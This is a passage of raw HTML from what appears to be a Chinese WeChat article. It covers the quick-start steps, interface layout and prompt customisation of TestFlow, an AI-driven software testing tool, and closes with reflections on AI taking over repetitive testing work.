transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">10.1 快速开始</span></span></h2><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">下载</span></strong><span leaf="">：获取 TestFlow.exe（单文件，无需安装）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">启动</span></strong><span leaf="">：双击运行，主界面自动打开</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">配置 AI</span></strong><span leaf="">：在设置页选择 AI 提供商，填入 API Key（使用 Ollama 本地部署则无需 API Key）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">填写信息</span></strong><span leaf="">：在主界面左侧填入被测系统的 URL、用户名、密码</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">开始测试</span></strong><span leaf="">：点击&#34;开始测试&#34;，坐等结果</span></p></li></ol><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">10.2 界面布局说明</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">主界面采用三栏布局，可拖拽调整宽度：</span></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">区域</span></p></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">内容</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">左栏</span></span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">系统信息表单 + AI 实时响应流（JSON 格式化展示）</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">中栏</span></span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">浏览器实时截图 + 操作日志</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">右栏</span></span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">测试进度日志 + 按模块分组的用例列表</span></span></p></td></tr></tbody></table></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">10.3 提示词定制</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在提示词管理页面，你可以：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">查看和编辑默认提示词</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">创建针对特定系统的自定义提示词</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">使用&#34;AI 生成&#34;功能，让 AI 根据系统信息自动生成定制提示词</span></p></li></ul><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">写在最后</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在软件工程的历史中，每一次生产力的跃迁，都会重新定义“人”的角色。从手工编码到自动化框架，从脚本驱动到模型驱动，我们正在经历又一次范式转变。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI 不再只是辅助工具，它正在逐步成为真正的“执行者”。像 TestFlow 或者我们之前的 【<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具</a>】 这样的探索，本质上是在回答一个问题：</span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">当机器可以理解界面、做出判断并完成操作时，人还应该做什么？</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">答案或许已经逐渐清晰—— 未来，重复性的执行工作会越来越多地交给 AI，而人的核心价值，<span textstyle="" style="font-weight: bold;">将从“亲自做事”转变为“设计规则、驾驭工具、放大效率”</span>。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">工程师不会消失，只是不再需要重复的去写测试用例、逐项测试、逐项配置核查、逐个测试结果分析，但会进化为</span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">测试策略的设计者、AI 行为的引导者、质量体系的守护者</span></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">AI 时代已经到来，它不会取代所有人，但一定会取代那些只停留在重复劳动中的工作方式。 真正重要的，不是与 AI 竞争，而是学会如何利用 AI，让自己站在更高的效率杠杆之上。</span></span></p></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: 